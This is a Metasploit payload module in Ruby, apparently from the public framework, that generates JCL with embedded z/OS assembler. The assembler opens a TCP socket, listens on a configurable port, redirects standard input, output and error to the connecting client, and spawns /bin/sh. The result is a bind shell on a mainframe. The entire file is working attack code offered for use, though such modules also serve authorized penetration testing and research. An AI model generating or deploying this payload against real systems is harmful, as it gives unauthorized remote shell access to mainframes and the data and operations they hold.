1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
# This payload has no ebcdic<->ascii translator built in.
5
# Therefore it must use a shell which does, like mainframe_shell
6
#
7
# this payload will spawn a bind shell from z/os, when submitted
8
#  on the system as JCL to JES2
9
##
10

11
module MetasploitModule
12
  CachedSize = 10712
13
  include Msf::Payload::Single
14
  include Msf::Payload::Mainframe
15
  include Msf::Sessions::CommandShellOptions
16

17
  def initialize(info = {})
18
    super(
19
      merge_info(
20
        info,
21
        'Name' => 'Z/OS (MVS) Command Shell, Bind TCP',
22
        'Description' => %q{
23
          Provide JCL which creates a bind shell
24
          This implementation does not include ebcdic character translation,
25
          so a client with translation capabilities is required.  MSF handles
26
          this automatically.
27
        },
28
        'Author' => 'Bigendian Smalls',
29
        'License' => MSF_LICENSE,
30
        'Platform' => 'mainframe',
31
        'Arch' => ARCH_CMD,
32
        'Handler' => Msf::Handler::BindTcp,
33
        'Session' => Msf::Sessions::MainframeShell,
34
        'PayloadType' => 'cmd',
35
        'RequiredCmd' => 'jcl',
36
        'Payload' => {
37
          'Offsets' => {},
38
          'Payload' => ''
39
        }
40
      )
41
    )
42
    register_options(
43
      [
44
        # need these defaulted so we can manipulate them in command_string
45
        Opt::LHOST('0.0.0.0'),
46
        Opt::LPORT(32700),
47
        OptString.new('ACTNUM', [true, 'Accounting info for JCL JOB card', 'MSFUSER-ACCTING-INFO']),
48
        OptString.new('PGMNAME', [true, 'Programmer name for JCL JOB card', 'programmer name']),
49
        OptString.new('JCLASS', [true, 'Job Class for JCL JOB card', 'A']),
50
        OptString.new('NOTIFY', [false, 'Notify User for JCL JOB card', '']),
51
        OptString.new('MSGCLASS', [true, 'Message Class for JCL JOB card', 'Z']),
52
        OptString.new('MSGLEVEL', [true, 'Message Level for JCL JOB card', '(0,0)'])
53
      ], self.class
54
    )
55
    register_advanced_options(
56
      [
57
        OptBool.new('NTFYUSR', [true, 'Include NOTIFY Parm?', false]),
58
        OptString.new('JOBNAME', [true, 'Job name for JCL JOB card', 'DUMMY'])
59
      ],
60
      self.class
61
    )
62
  end
63

64
  ##
65
  # Construct Payload
66
  ##
67
  def generate(_opts = {})
68
    super + command_string
69
  end
70

71
  ##
72
  # Setup replacement vars and populate payload
73
  ##
74
  def command_string
75
    if (datastore['JOBNAME'] == 'DUMMY') && !datastore['FTPUSER'].nil?
76
      datastore['JOBNAME'] = (datastore['FTPUSER'] + '1').strip.upcase
77
    end
78
    lhost = Rex::Socket.resolv_nbo(datastore['LHOST'])
79
    lhost = lhost.unpack('H*')[0]
80
    lport = datastore['LPORT']
81
    lport = lport.to_s.to_i.to_s(16).rjust(4, '0')
82

83
    jcl_jobcard +
84
      "//**************************************/\n" \
85
      "//*  SPAWN BIND SHELL FOR MSF MODULE   */\n" \
86
      "//**************************************/\n" \
87
      "//*\n" \
88
      "//STEP1      EXEC PROC=ASMACLG,PARM.L=(CALL)\n" \
89
      "//L.SYSLIB   DD  DSN=SYS1.CSSLIB,DISP=SHR\n" \
90
      "//C.SYSIN    DD  *,DLM=ZZ\n" \
91
      "         TITLE  'Spawns Bind Shell'\n" \
92
      "SPAWNBND CSECT\n" \
93
      "SPAWNBND AMODE 31\n" \
94
      "SPAWNBND RMODE ANY\n" \
95
      "***********************************************************************\n" \
96
      "*        @SETUP registers and save areas                              *\n" \
97
      "***********************************************************************\n" \
98
      "         USING *,15\n" \
99
      "@SETUP0  B     @SETUP1\n" \
100
      "         DROP  15\n" \
101
      "         DS    0H                 # half word boundary\n" \
102
      "@SETUP1  STM   14,12,12(13)       # save our registers\n" \
103
      "         LR    2,13               # callers sa\n" \
104
      "         LR    8,15               # pgm base in R8\n" \
105
      "         USING @SETUP0,8          # R8 for base addressability\n" \
106
      "*************************************\n" \
107
      "* set up data area / addressability *\n" \
108
      "*************************************\n" \
109
      "         L     0,@DYNSIZE         # len of variable area\n" \
110
      "         GETMAIN RU,LV=(0)        # get data stg, len R0\n" \
111
      "         LR    13,1               # data address\n" \
112
      "         USING @DATA,13           # addressability for data area\n" \
113
      "         ST    2,@BACK            # store callers sa address\n" \
114
      "         ST    13,8(,2)           # store our data addr\n" \
115
      "         DS    0H                 # halfword boundaries\n" \
116
      "\n" \
117
      "***********************************************************************\n" \
118
      "*        BPX1SOC set up socket - inline                               *\n" \
119
      "***********************************************************************\n" \
120
      "         CALL  BPX1SOC,                                                X\n" \
121
      "               (DOM,TYPE,PROTO,DIM,SRVFD,                              X\n" \
122
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
123
      "*******************************\n" \
124
      "*  chk return code, 0 or exit *\n" \
125
      "*******************************\n" \
126
      "         LHI   15,2\n" \
127
      "         L     6,RTN_VAL\n" \
128
      "         CIB   6,0,7,EXITP        # R6 not 0? Time to exit\n" \
129
      "\n" \
130
      "***********************************************************************\n" \
131
      "*        BPX1BND (bind) bind to local socket - inline                 *\n" \
132
      "***********************************************************************\n" \
133
      "         XC    SOCKADDR(16),SOCKADDR        # zero sock addr struct\n" \
134
      "         MVI   SOCK_FAMILY,AF_INET          # family inet\n" \
135
      "         MVI   SOCK_LEN,SOCK#LEN            # len of socket\n" \
136
      "         MVC   SOCK_SIN_PORT,CONNSOCK       # port to bind to\n" \
137
      "         MVC   SOCK_SIN_ADDR,CONNADDR       # address to bind to\n" \
138
      "         CALL  BPX1BND,                                                X\n" \
139
      "               (SRVFD,SOCKLEN,SOCKADDR,                                X\n" \
140
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
141
      "*******************************\n" \
142
      "*  chk return code, 0 or exit *\n" \
143
      "*******************************\n" \
144
      "         LHI   15,3\n" \
145
      "         L     6,RTN_VAL\n" \
146
      "         CIB   6,0,7,EXITP        # R6 not 0? Time to exit\n" \
147
      "\n" \
148
      "***********************************************************************\n" \
149
      "*        BPX1LSN (listen) listen on local socket - inline             *\n" \
150
      "***********************************************************************\n" \
151
      "         CALL  BPX1LSN,                                                X\n" \
152
      "               (SRVFD,BACKLOG,                                         X\n" \
153
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
154
      "*******************************\n" \
155
      "*  chk return code, 0 or exit *\n" \
156
      "*******************************\n" \
157
      "         LHI   15,4\n" \
158
      "         L     6,RTN_VAL\n" \
159
      "         CIB   6,0,7,EXITP        # R6 not 0? Time to exit\n" \
160
      "\n" \
161
      "***********************************************************************\n" \
162
      "*        BPX1ACP (accept) accept socket connection - inline           *\n" \
163
      "***********************************************************************\n" \
164
      "         XC    SOCKADDR(16),SOCKADDR        # zero sock addr struct\n" \
165
      "         MVI   SOCK_FAMILY,AF_INET          # family inet\n" \
166
      "         MVI   SOCK_LEN,SOCK#LEN            # len of socket\n" \
167
      "         CALL  BPX1ACP,                                                X\n" \
168
      "               (SRVFD,CLILEN,CLISKT,                                   X\n" \
169
      "               CLIFD,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
170
      "*******************************\n" \
171
      "*  chk return code, 0 or exit *\n" \
172
      "*******************************\n" \
173
      "         LHI   15,5\n" \
174
      "         L     6,RTN_VAL\n" \
175
      "         CIB   6,0,7,EXITP        # R6 not 0? Time to exit\n" \
176
      "\n" \
177
      "*************************************************\n" \
178
      "* order of things to prep child pid             *\n" \
179
      "*  0) Dupe all 3 file desc of CLIFD             *\n" \
180
      "*  1) Dupe parent read fd to std input          *\n" \
181
      "*************************************************\n" \
182
      "*******************\n" \
183
      "*****  STDIN  *****\n" \
184
      "*******************\n" \
185
      "         CALL  BPX1FCT,                                                X\n" \
186
      "               (CLIFD,                                                 X\n" \
187
      "               =A(F_DUPFD2),                                           X\n" \
188
      "               =A(F_STDI),                                             X\n" \
189
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
190
      "****************************************************\n" \
191
      "*  chk return code here anything but -1 is ok      *\n" \
192
      "****************************************************\n" \
193
      "         LHI   15,6               # exit code for this func\n" \
194
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
195
      "         CIB   7,-1,8,EXITP       # r6 = -1 exit\n" \
196
      "\n" \
197
      "*******************\n" \
198
      "*****  STDOUT *****\n" \
199
      "*******************\n" \
200
      "         CALL  BPX1FCT,                                                X\n" \
201
      "               (CLIFD,                                                 X\n" \
202
      "               =A(F_DUPFD2),                                           X\n" \
203
      "               =A(F_STDO),                                             X\n" \
204
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
205
      "****************************************************\n" \
206
      "*  chk return code here anything but -1 is ok      *\n" \
207
      "****************************************************\n" \
208
      "         LHI   15,7               # exit code for this func\n" \
209
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
210
      "         CIB   7,-1,8,EXITP       # r6 = -1 exit\n" \
211
      "\n" \
212
      "*******************\n" \
213
      "*****  STDERR *****\n" \
214
      "*******************\n" \
215
      "         CALL  BPX1FCT,                                                X\n" \
216
      "               (CLIFD,                                                 X\n" \
217
      "               =A(F_DUPFD2),                                           X\n" \
218
      "               =A(F_STDE),                                             X\n" \
219
      "               RTN_VAL,RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
220
      "****************************************************\n" \
221
      "*  chk return code here anything but -1 is ok      *\n" \
222
      "****************************************************\n" \
223
      "         LHI   15,8               # exit code for this func\n" \
224
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
225
      "         CIB   7,-1,8,EXITP       # r7 = -1 exit\n" \
226
      "\n" \
227
      "***********************************************************************\n" \
228
      "*        BP1SPN (SPAWN) execute shell '/bin/sh'                       *\n" \
229
      "***********************************************************************\n" \
230
      "         XC    INHE(INHE#LENGTH),INHE   # clear inhe structure\n" \
231
      "         XI    INHEFLAGS0,INHESETPGROUP\n" \
232
      "         SPACE ,\n" \
233
      "         MVC   INHEEYE,=C'INHE'\n" \
234
      "         LH    0,TLEN\n" \
235
      "         STH   0,INHELENGTH\n" \
236
      "         LH    0,TVER\n" \
237
      "         STH   0,INHEVERSION\n" \
238
      "         CALL  BPX1SPN,                                                X\n" \
239
      "               (EXCMDL,EXCMD,EXARGC,EXARGLL,EXARGL,EXENVC,EXENVLL,     X\n" \
240
      "               EXENVL,FDCNT,FDLST,=A(INHE#LENGTH),INHE,RTN_VAL,        X\n" \
241
      "               RTN_COD,RSN_COD),VL,MF=(E,PLIST)\n" \
242
      "         LHI   15,9               # exit code for this func\n" \
243
      "         L     7,RTN_VAL          # set r7 to rtn val\n" \
244
      "         L     6,RTN_COD\n" \
245
      "         L     5,RSN_COD\n" \
246
      "         CIB   7,-1,8,EXITP       # r7 = -1 exit\n" \
247
      "\n" \
248
      "****************************************************\n" \
249
      "* cleanup & exit preload R15 with exit code        *\n" \
250
      "****************************************************\n" \
251
      "         XR    15,15              # 4 FOR rc\n" \
252
      "EXITP    L     0,@DYNSIZE\n" \
253
      "         LR    1,13\n" \
254
      "         L     13,@BACK\n" \
255
      "         DROP  13\n" \
256
      "         FREEMAIN RU,LV=(0),A=(1) #free storage\n" \
257
      "         XR    15,15\n" \
258
      "         L     14,12(,13)         # load R14\n" \
259
      "         LM    0,12,20(13)        # load 0-12\n" \
260
      "         BSM   0,14               # branch to caller\n" \
261
      "\n" \
262
      "****************************************************\n" \
263
      "* Constants and Variables                          *\n" \
264
      "****************************************************\n" \
265
      "         DS    0F                 # constants full word boundary\n" \
266
      "F_STDI   EQU   0\n" \
267
      "F_STDO   EQU   1\n" \
268
      "F_STDE   EQU   2\n" \
269
      "*************************\n" \
270
      "* Socket conn variables *         # functions used by pgm\n" \
271
      "*************************\n" \
272
      "CONNSOCK DC    XL2'#{lport}'      # LPORT\n" \
273
      "CONNADDR DC    XL4'#{lhost}'      # LHOST\n" \
274
      "BACKLOG  DC    F'1'               # 1 byte backlog\n" \
275
      "DOM      DC    A(AF_INET)         # AF_INET = 2\n" \
276
      "TYPE     DC    A(SOCK#_STREAM)    # stream = 1\n" \
277
      "PROTO    DC    A(IPPROTO_IP)      # ip = 0\n" \
278
      "DIM      DC    A(SOCK#DIM_SOCKET) # dim_sock = 1\n" \
279
      "SOCKLEN  DC    A(SOCK#LEN+SOCK_SIN#LEN)\n" \
280
      "CLILEN   DC    F'0'               # client sock len - don't care\n" \
281
      "CLISKT   DC    X'00'              # client socket struck - don't care\n" \
282
      "************************\n" \
283
      "* BPX1SPN vars *********\n" \
284
      "************************\n" \
285
      "EXCMD    DC    CL7'/bin/sh'       # command to exec\n" \
286
      "EXCMDL   DC    A(L'EXCMD)         # len of cmd to exec\n" \
287
      "EXARGC   DC    F'1'               # num of arguments\n" \
288
      "EXARG1   DC    CL2'sh'            # arg 1 to exec\n" \
289
      "EXARG1L  DC    A(L'EXARG1)        # len of arg1\n" \
290
      "EXARGL   DC    A(EXARG1)          # addr of argument list\n" \
291
      "EXARGLL  DC    A(EXARG1L)         # addr of arg len list\n" \
292
      "EXENVC   DC    F'0'               # env var count\n" \
293
      "EXENVL   DC    F'0'               # env var arg list addr\n" \
294
      "EXENVLL  DC    F'0'               # env var arg len addr\n" \
295
      "FDCNT    DC    F'0'               # field count s/b 0\n" \
296
      "FDLST    DC    F'0'               # field list addr s/b 0\n" \
297
      "TVER     DC    AL2(INHE#VER)\n" \
298
      "TLEN     DC    AL2(INHE#LENGTH)\n" \
299
      "         SPACE ,\n" \
300
      "@DYNSIZE DC    A(@ENDYN-@DATA)\n" \
301
      "***************************\n" \
302
      "***** end of constants ****\n" \
303
      "***************************\n" \
304
      "@DATA    DSECT ,\n" \
305
      "         DS    0D\n" \
306
      "PLIST    DS    16A\n" \
307
      "RTN_VAL  DS    F                  # return value\n" \
308
      "RTN_COD  DS    F                  # return code\n" \
309
      "RSN_COD  DS    F                  # reason code\n" \
310
      "CLIFD    DS    F                  # client fd\n" \
311
      "SRVFD    DS    F                  # server fd\n" \
312
      "@BACK    DS    A\n" \
313
      "*\n" \
314
      "         BPXYSOCK   LIST=NO,DSECT=NO\n" \
315
      "         BPXYFCTL   LIST=NO,DSECT=NO\n" \
316
      "         BPXYINHE   LIST=NO,DSECT=NO\n" \
317
      "@ENDYN   EQU   *\n" \
318
      "@DATA#LEN EQU  *-@DATA\n" \
319
      "         BPXYCONS   LIST=YES\n" \
320
      "         END   SPAWNBND\n" \
321
      "ZZ\n" \
322
      "//*\n"
323
  end
324
end
325

326